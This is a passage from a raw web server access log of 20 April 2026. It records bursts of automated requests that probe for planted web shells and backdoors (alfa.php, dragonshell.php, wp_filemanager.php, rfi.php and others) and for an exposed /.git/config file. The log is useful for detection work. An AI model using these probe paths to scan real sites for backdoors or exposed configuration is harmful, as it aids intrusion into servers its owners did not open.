795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:00:43 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:11 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:14 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:18 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:53 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:08 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:11 +0300] "GET /ws81.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:15 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:34 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:42 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:45 +0300] "GET /onclickfuns.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:49 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:07:15 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:07:19 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:08:16 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:08:30 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:38 +0300] "GET /chosen/chosen.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:54 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:00:14 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:36 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:39 +0300] "GET /y.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:38 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:07:51 +0300] "GET /sql.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:07:55 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:29 +0300] "GET /wp-content/plugins/twenty/login.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:33 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:36 +0300] "GET /file3.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:38 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:41 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:45 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:48 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:51 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:54 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:57 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:01 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:05 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:07 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:10 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:14 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:18 +0300] "GET /wp-Blogs.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:21 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:22 +0300] "GET /wp-content/plugins/beteng88/ws83.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:25 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:28 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:05:37 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:10:04 +0300] "GET /date.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:10:14 +0300] "GET /pomo.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:00 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:04 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:12 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:44 +0300] "GET /asd.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:48 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:06:58 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:08:59 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:58:45 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:23 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:00:56 +0300] "GET /011i.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:00:59 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:05:14 +0300] "GET /.info.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:06:09 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:06:26 +0300] "GET /dragonshell.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:08:52 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:06 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:10:34 +0300] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:35 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:23 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:26 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:29 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:32 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:00 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:05:04 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:05:05 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:06:00 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:08:40 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:26 +0300] "GET /about/chosen.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:29 +0300] "GET /as/chosen.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:32 +0300] "GET /file/chosen.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:10:28 +0300] "GET /t/rfi.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:58:53 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:50 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:08:59:52 +0300] "GET /.dj/index.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:00:29 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:05 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:09 +0300] "GET /load.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:13 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:16 +0300] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:19 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:01:29 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:45 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:48 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:51 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:52 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:02:55 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:00 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:03:04 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:04:57 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:05:26 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:05:45 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:05:48 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:18 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:20 +0300] "GET /index/chosen.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [20/Apr/2026:09:09:47 +0300] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:36 +0300] "GET /wp-kz.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:39 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:41 +0300] "GET /saorix1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:42 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:45 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:47 +0300] "GET /file-kikikoko.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:49 +0300] "GET /wp-kikikoko.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:51 +0300] "GET /ganja.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:55 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:56 +0300] "GET /sad821.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:58 +0300] "GET /sad8210.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:02 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:37 +0300] "GET /ws82.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:46 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:50 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:53 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:56 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:00 +0300] "GET /wp-block.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:22 +0300] "GET /areak1.php HTTP/1.1" 301 795 "-" "-" 49.235.136.28 - - [20/Apr/2026:09:55:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 68.183.135.59 - - [20/Apr/2026:10:43:48 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.71.71.139 - - [20/Apr/2026:10:44:12 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:15 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:15 +0300] "GET /xper1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:09 +0300] "GET /roksad1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:12 +0300] "GET /fone1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:13 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:16 +0300] "GET /xltt.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:18 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:22 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:25 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:28 +0300] "GET /wglum1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:31 +0300] "GET /ng.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:26 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:28 +0300] "GET /gelio1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:13 +0300] "GET /aboute.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:16 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:20 +0300] "GET /wps.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:22 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:24 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:26 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:29 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:31 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:33 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:36 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 43.130.14.245 - - [20/Apr/2026:10:04:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.71.71.139 - - [20/Apr/2026:10:40:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:34 +0300] "GET /sallu.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:37 +0300] "GET /tiny2.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:40 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:43 +0300] "GET /gz.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:45 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:48 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:51 +0300] "GET /aevly.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:53 +0300] "GET /ws68.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:57 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:46:59 +0300] "GET /yuzuru1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:47:05 +0300] "GET /son1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:07 +0300] "GET //man.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:59 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:02 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:40 +0300] "GET /wgift1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:43 +0300] "GET /xynz.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:47 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:51 +0300] "GET /press.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:53 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:55 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:43:58 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:01 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:05 +0300] "GET /view.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:08 +0300] "GET /cilus.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:40 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:47:11 +0300] "GET /tx79.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:07 +0300] "GET /eFpU3yHnriNNLtvdefault.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:11 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:13 +0300] "GET /xminie.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:16 +0300] "GET /x=34.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:19 +0300] "GET /insta.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:22 +0300] "GET /eetu.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:24 +0300] "GET /xxa.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:26 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:28 +0300] "GET /zxcs.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:41:30 +0300] "GET /s1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:43 +0300] "GET /ws81.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:45 +0300] "GET /r2.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:48 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:42:54 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:42 +0300] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:46 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:48 +0300] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:51 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:54 +0300] "GET /zogy1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:44:57 +0300] "GET /state.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:23 +0300] "GET /mifta.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:26 +0300] "GET /ws57.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:29 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:32 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:35 +0300] "GET /packsin1.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:04 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:45:14 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:47:17 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:47:17 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:47:21 +0300] "GET /ws61.php HTTP/1.1" 301 795 "-" "-" 98.71.71.139 - - [20/Apr/2026:10:47:25 +0300] "GET /class-wp-image.php HTTP/1.1" 301 795 "-" "-" 43.157.170.126 - - [20/Apr/2026:10:51:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 221.153.92.39 - - [20/Apr/2026:11:45:34 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 218.252.100.222 - - [20/Apr/2026:11:59:23 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.161.76.204 - - [20/Apr/2026:14:13:57 +0300] "GET /ne2026.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:31 +0300] "GET /wp-tap.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:35 +0300] "GET /diayd.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:25 +0300] "GET /beerd.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:19 +0300] "GET /xjgdw.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:22 +0300] "GET /utchiha_O1JFaUaF.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:26 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:29 +0300] "GET /c4.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:35 +0300] "GET /lclnqiii.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:38 +0300] "GET /maintura.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:24:06 +0300] "GET /fetch.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:25:27 +0300] "GET /ccrheegr.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:30:49 +0300] "GET /kagug.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:30:55 +0300] "GET /assacc.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:33:34 +0300] "GET /ws59.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:34:25 +0300] "GET /upll22.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:35:34 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:40:49 +0300] "GET /anczg.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:40:53 +0300] "GET /ebuom.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:48:29 +0300] "GET /green.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:48:39 +0300] "GET /lowpr.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:49:11 +0300] "GET /frdyx.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:51:45 +0300] "GET /zc-220.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:53:15 +0300] "GET /lp5.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:53:25 +0300] "GET /h2.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:54:37 +0300] "GET /home.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:59:05 +0300] "GET /kaduu.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:01:22 +0300] "GET /fwtoa.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:01:29 +0300] "GET /iindv.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:02:07 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:02:12 +0300] "GET /sts.php HTTP/1.1" 301 